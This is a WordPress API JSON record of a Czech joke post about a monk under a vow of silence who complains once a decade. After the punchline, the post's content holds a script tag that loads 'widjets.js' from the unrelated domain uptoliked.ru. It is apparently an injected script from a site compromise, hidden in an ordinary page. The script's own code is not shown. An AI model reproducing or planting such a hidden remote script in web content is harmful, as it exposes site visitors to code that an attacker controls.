{"id":285,"date":"2009-10-10T08:35:15","date_gmt":"2009-10-10T07:35:15","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=285"},"modified":"2009-10-15T07:58:51","modified_gmt":"2009-10-15T06:58:51","slug":"obvykla-davka-pro-zasmani","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=285","title":{"rendered":"Obvykl\u00e1 d\u00e1vka pro zasm\u00e1n\u00ed"},"content":{"rendered":"<p><a href=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2008\/07\/smile.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-286\" title=\"\" src=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2008\/07\/smile-287x300.jpg\" alt=\"\" width=\"287\" height=\"300\" srcset=\"https:\/\/www.scmlondon.org\/wp-content\/uploads\/2008\/07\/smile-287x300.jpg 287w, https:\/\/www.scmlondon.org\/wp-content\/uploads\/2008\/07\/smile.jpg 479w\" sizes=\"auto, (max-width: 287px) 100vw, 287px\" \/><\/a>Jeden mlad\u00fd mnich se rozhodl, \u017ee odejde do horsk\u00e9ho kl\u00e1\u0161tera a podstoup\u00ed t\u011b\u017ekou zkou\u0161ku ml\u010denlivosti, kter\u00e1 mu dovoluje \u0159\u00edci jen dv\u011b slova za deset let. Po prvn\u00edch deseti letech jde za otcem p\u0159edstaven\u00fdm. Vejde do kancel\u00e1\u0159e, otec p\u0159ik\u00fdvne a on pov\u00edd\u00e1:<br \/>\n\u201eMizern\u00e9 j\u00eddlo!\u201c<br \/>\nOtec znovu k\u00fdvne a uk\u00e1\u017ee rukou ven. Mnich tedy odejde.<br \/>\nUplyne dal\u0161\u00edch deset let a audience se opakuje. Mnich tentokr\u00e1t \u0159\u00edk\u00e1:<br \/>\n\u201eTvrd\u00e1 postel!\u201c<br \/>\nKone\u010dn\u011b po t\u0159iceti letech mnich p\u0159edstoup\u00ed p\u0159ed otce se zamra\u010denou tv\u00e1\u0159\u00ed a \u0159\u00edk\u00e1:<br \/>\n\u201eOdch\u00e1z\u00edm odsud!\u201c<br \/>\nA otec se jen tak m\u00edrn\u011b usm\u011bje a pov\u00edd\u00e1:<br \/>\n\u201eAni se nediv\u00edm. Co jste tady, po\u0159\u00e1d si jen st\u011b\u017eujete.\u201c<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>Jeden mlad\u00fd mnich se rozhodl, \u017ee odejde do horsk\u00e9ho kl\u00e1\u0161tera a podstoup\u00ed t\u011b\u017ekou zkou\u0161ku ml\u010denlivosti, kter\u00e1 mu dovoluje \u0159\u00edci jen dv\u011b slova za deset let. Po prvn\u00edch deseti letech jde&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=285\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":24,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11],"tags":[],"class_list":["post-285","post","type-post","status-publish","format-standard","hentry","category-11"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=285"}],"version-history":[{"count":6,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/285\/revisions"}],"predecessor-version":[{"id":6260,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/285\/revisions\/6260"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}